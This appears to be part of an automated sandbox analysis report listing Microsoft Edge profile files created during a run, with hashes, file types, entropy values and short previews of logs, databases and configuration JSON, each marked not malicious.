SHA-256:	F0F6A59F3788F6C17560631AA80EE900FDAD0F463D00B52943BF5D43F1FF2869
SHA-512:	0D1142B9C12E9E329603A0B8113F03E25BB1BA57FEC6C30BF071FA689E692A17672048E916F82BCB7117CEF8F9C9987F218F9202619A5813226A9F742115D92D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354156167164961
Encrypted:	false
SSDEEP:	6144:hA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:hFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	F676B60677CCFE324B554FBC3571F9F3
SHA1:	6751D317ABD25DEB5A23C8C8A1F8CEC83CD25160
SHA-256:	6245A60AE828AB94A063A5F669A6329681D38C10238BE453B94E77AAFE239BCB
SHA-512:	52142C4E99CD3BAB26C57AFFF694319736E8CDAD700B2F0DAAC1B6AE234A0FC0D6C2AC1E9AF60CD3CCE95C625A3EF8D4D6C16431EC7D6D522F5FE28D90A37242
Malicious:	false
Preview:	...m.................DB_VERSION.1Z...q...............&QUERY_TIMESTAMP:domains_config_gz2...13374732875278557..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.13726123652907
Encrypted:	false
SSDEEP:	6:ev+RM1N723oH+Tcwtk2WwnvB2KLlkDmq2PN723oH+Tcwtk2WwnvIFUv:eGsaYebkxwnvFLGDmvVaYebkxwnQFUv
MD5:	F83070A8C3395CE6AE081E8E83C205B8
SHA1:	18A04E8552D84AA7E180D9F20D64641E5CF51264
SHA-256:	38181F98ACD9224A76EF3F04DA11DD00B31591D44C7CF4EECCBE7D7A3BDC9956
SHA-512:	E3D7D876F7A6EEC172CBBC2AF8509B0876DE4F4B5412860E578CF7E3EDF89A0392BAC7D268763FAFD5251F3AB48BC9F7D169D93143920F56F01C6B96EF0984C2
Malicious:	false
Preview:	2024/10/29-23:34:33.947 21e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/29-23:34:33.981 21e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324613307766582
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rf:C1gAg1zfvn
MD5:	4EB1A9AD2AB86C0105E87A733E21E298
SHA1:	20DFF98A261F417B179CCB8315FA1770D5227320
SHA-256:	D48E4192D06A7084D9BD55AC4D3C3A5E778D9819A6D701D918942AD44790BA93
SHA-512:	6A6850209AB9945C713C851C3BC8B25D6FB8FAE475C01B0386CA3CF1C0CF70B5D63B01115EA8E79C8E335175E683ABC7DF5E99CEC33538C5B13E482BC857C963
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161863667548422
Encrypted:	false
SSDEEP:	6:ejA7+q2PN723oH+Tcwt8aPrqIFUt8FjArZmw+FjA7VkwON723oH+Tcwt8amLJ:ehvVaYebL3FUt8Fc/+Fc5OaYebQJ
MD5:	F9A6CA6917E1BED6CDC4FB14AA94DCE3
SHA1:	CC9A8490A629595935D3D17AD94E36D3D30E0B39
SHA-256:	3AAEB306A6D133C128577806F44DFED1B5A6BC4E4F057EB728066346E35C8D68
SHA-512:	4999FC25BABDBDEB4CFB53D33488C6A6B1438D30892352CE83A6CF2614EAE4CBCE60FCD66FAF64384C67DA2CDEAC57A93AC41016098562C5E0FFAD565EE69AFD
Malicious:	false
Preview:	2024/10/29-23:34:28.255 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-23:34:28.255 1448 Recovering log #3.2024/10/29-23:34:28.255 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161863667548422
Encrypted:	false
SSDEEP:	6:ejA7+q2PN723oH+Tcwt8aPrqIFUt8FjArZmw+FjA7VkwON723oH+Tcwt8amLJ:ehvVaYebL3FUt8Fc/+Fc5OaYebQJ
MD5:	F9A6CA6917E1BED6CDC4FB14AA94DCE3
SHA1:	CC9A8490A629595935D3D17AD94E36D3D30E0B39
SHA-256:	3AAEB306A6D133C128577806F44DFED1B5A6BC4E4F057EB728066346E35C8D68
SHA-512:	4999FC25BABDBDEB4CFB53D33488C6A6B1438D30892352CE83A6CF2614EAE4CBCE60FCD66FAF64384C67DA2CDEAC57A93AC41016098562C5E0FFAD565EE69AFD
Malicious:	false
Preview:	2024/10/29-23:34:28.255 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-23:34:28.255 1448 Recovering log #3.2024/10/29-23:34:28.255 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.129963844219708
Encrypted:	false
SSDEEP:	6:ejnO+q2PN723oH+Tcwt865IFUt8FjMoZmw+FjM4VkwON723oH+Tcwt86+ULJ:eb/vVaYeb/WFUt8Fj/+F55OaYeb/+SJ
MD5:	C161B854C6D7FC95FD268C937A09762D
SHA1:	0B34A15B8634F702E9389D8E255E162E65B8D82C
SHA-256:	DF92FBAD34DA09B71C087F18D676003EC8476C3FBD64F4E6C4F86ACFFAE81AA8
SHA-512:	9B8B4E95ABBCCD88E3C8BD028A7DFBB29100F5013BF9DF06C06E94B2EEB720314755180CBC6928C577C37D3F87CE87CDC7F1E233816AA58F5FF8202908AE34AA
Malicious:	false
Preview:	2024/10/29-23:34:28.301 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-23:34:28.302 1448 Recovering log #3.2024/10/29-23:34:28.302 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.129963844219708
Encrypted:	false
SSDEEP:	6:ejnO+q2PN723oH+Tcwt865IFUt8FjMoZmw+FjM4VkwON723oH+Tcwt86+ULJ:eb/vVaYeb/WFUt8Fj/+F55OaYeb/+SJ
MD5:	C161B854C6D7FC95FD268C937A09762D
SHA1:	0B34A15B8634F702E9389D8E255E162E65B8D82C
SHA-256:	DF92FBAD34DA09B71C087F18D676003EC8476C3FBD64F4E6C4F86ACFFAE81AA8
SHA-512:	9B8B4E95ABBCCD88E3C8BD028A7DFBB29100F5013BF9DF06C06E94B2EEB720314755180CBC6928C577C37D3F87CE87CDC7F1E233816AA58F5FF8202908AE34AA
Malicious:	false
Preview:	2024/10/29-23:34:28.301 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-23:34:28.302 1448 Recovering log #3.2024/10/29-23:34:28.302 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.17230068913908
Encrypted:	false
SSDEEP:	6:ejVuZq2PN723oH+Tcwt8NIFUt8FjVukZmw+FjXUPkwON723oH+Tcwt8+eLJ:eJqvVaYebpFUt8FJj/+FLUP5OaYebqJ
MD5:	08638B2A2C920C75D291A26CA990C8B4
SHA1:	B44E953E919BC1E2D9B39B4304147F2FCF6F559A
SHA-256:	E49E88D60642889D572C3080F3D2D648812645DC41E4466DE4E6ABC321D24842
SHA-512:	FA1FF1464FBDED2D428FA57B6740122D6E5006B21A953BA643EE2A9155507A01C0B09238E4F6CD91C4B9F5AE17C857C85ACC1D80F58BCC8995B08EB609CC96FB
Malicious:	false
Preview:	2024/10/29-23:34:28.945 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-23:34:28.945 1cf4 Recovering log #3.2024/10/29-23:34:28.946 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.17230068913908
Encrypted:	false
SSDEEP:	6:ejVuZq2PN723oH+Tcwt8NIFUt8FjVukZmw+FjXUPkwON723oH+Tcwt8+eLJ:eJqvVaYebpFUt8FJj/+FLUP5OaYebqJ
MD5:	08638B2A2C920C75D291A26CA990C8B4
SHA1:	B44E953E919BC1E2D9B39B4304147F2FCF6F559A
SHA-256:	E49E88D60642889D572C3080F3D2D648812645DC41E4466DE4E6ABC321D24842
SHA-512:	FA1FF1464FBDED2D428FA57B6740122D6E5006B21A953BA643EE2A9155507A01C0B09238E4F6CD91C4B9F5AE17C857C85ACC1D80F58BCC8995B08EB609CC96FB
Malicious:	false
Preview:	2024/10/29-23:34:28.945 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-23:34:28.945 1cf4 Recovering log #3.2024/10/29-23:34:28.946 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:hLvtFlljq7A/mhWJFuQ3yy7IOWUagV4dweytllrE9SFcTp4AGbNCV9RUILgn:Nk75fOci4d0Xi99pEYu
MD5:	D7853C757A801FC2867A3499B1121043
SHA1:	DFD89B179C4EED965C3A7AE742C54390CD09D6CF
SHA-256:	2349DC1F6A8748CD06DE59CD747C139F489AB4D8F500DAFDEDAD8D7825192134
SHA-512:	84FF3881E416FA57715857BAB80803CA643D61D5E23BA9061A20DC3B61B6B49050F2532920FA938327BB8BC409B2BEF4ADD39B997E4709FBECBF325D0CF3E483
Malicious:	false
Preview:	.............O%....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6479931514472748
Encrypted:	false
SSDEEP:	384:aj9P0h773pLyP/Kbtmgam6ICQkQerTjl7hlcERKToaAu:adq7IP/Yye23l7AERKcC
MD5:	9F07B291B96F7890EF1435736EEB765C
SHA1:	582A8BCA9B6B1C25984D41B9B02BEBFDA78DE19F
SHA-256:	CA236881F5816A0E4365A1F21C5FFDCD63F9A7552121A6D50BB75EC4D9899449
SHA-512:	36A68D2AC56502D5BAF57BB6C290323899E8D04FE0795F2DEB83305B24F6E013A60B6CFE96854880FD7F23DF4C8781FE1B3EBFBB6A7D2AA0DDB9003E9B710F76
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.264746990103451
Encrypted:	false
SSDEEP:	12:eR4vVaYeb8rcHEZrELFUt8FRJ/+FRD5OaYeb8rcHEZrEZSJ:PVaYeb8nZrExg8mOaYeb8nZrEZe
MD5:	BBB29C4DBAFE52782220B66B0211E74C
SHA1:	644BF85B84686FA1EAA02377A3077F8CA7041FA8
SHA-256:	558C2EDA2F564F9AD1BBB43AF74A55588E1928FE7CE4F32CB1F79F87FF7CA188
SHA-512:	1B324E484CD7CAFE1F806E3FE0BBFBA594C44725CA95DAD3083F77059C67FE5DE7ECA6F17CD433B7E58758EFB493BE1FB1A3BA6FC0FCDDA7E5170823B3C1DFA5
Malicious:	false
Preview:	2024/10/29-23:34:31.780 1ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-23:34:31.780 1ff4 Recovering log #3.2024/10/29-23:34:31.780 1ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.264746990103451
Encrypted:	false
SSDEEP:	12:eR4vVaYeb8rcHEZrELFUt8FRJ/+FRD5OaYeb8rcHEZrEZSJ:PVaYeb8nZrExg8mOaYeb8nZrEZe
MD5:	BBB29C4DBAFE52782220B66B0211E74C
SHA1:	644BF85B84686FA1EAA02377A3077F8CA7041FA8
SHA-256:	558C2EDA2F564F9AD1BBB43AF74A55588E1928FE7CE4F32CB1F79F87FF7CA188
SHA-512:	1B324E484CD7CAFE1F806E3FE0BBFBA594C44725CA95DAD3083F77059C67FE5DE7ECA6F17CD433B7E58758EFB493BE1FB1A3BA6FC0FCDDA7E5170823B3C1DFA5
Malicious:	false
Preview:	2024/10/29-23:34:31.780 1ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-23:34:31.780 1ff4 Recovering log #3.2024/10/29-23:34:31.780 1ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1598
Entropy (8bit):	5.620009221127303
Encrypted:	false
SSDEEP:	48:cZzUWc0fVSeXZVQV03Sx41HHHxda2LoEkwUG:c9DSkvmWRxLNf
MD5:	5D116D8EAEA6F0536EAC8E384B6F4246
SHA1:	ACED7B897905F9DB508D323F699A9D405C419F5C
SHA-256:	E9DF46A59DBED41682BF0EA4AF11C68778084D5391FF8B2D0586A3B58FFAC2FB
SHA-512:	E6EF8BFEBCEAB98D18ABF4AE01D05B12151191F9708F8501A95812764CF37A47CAE20AB38E9514013EA3B5452ED7B8498767201BAEED4547E4C78CC802E61E6E
Malicious:	false
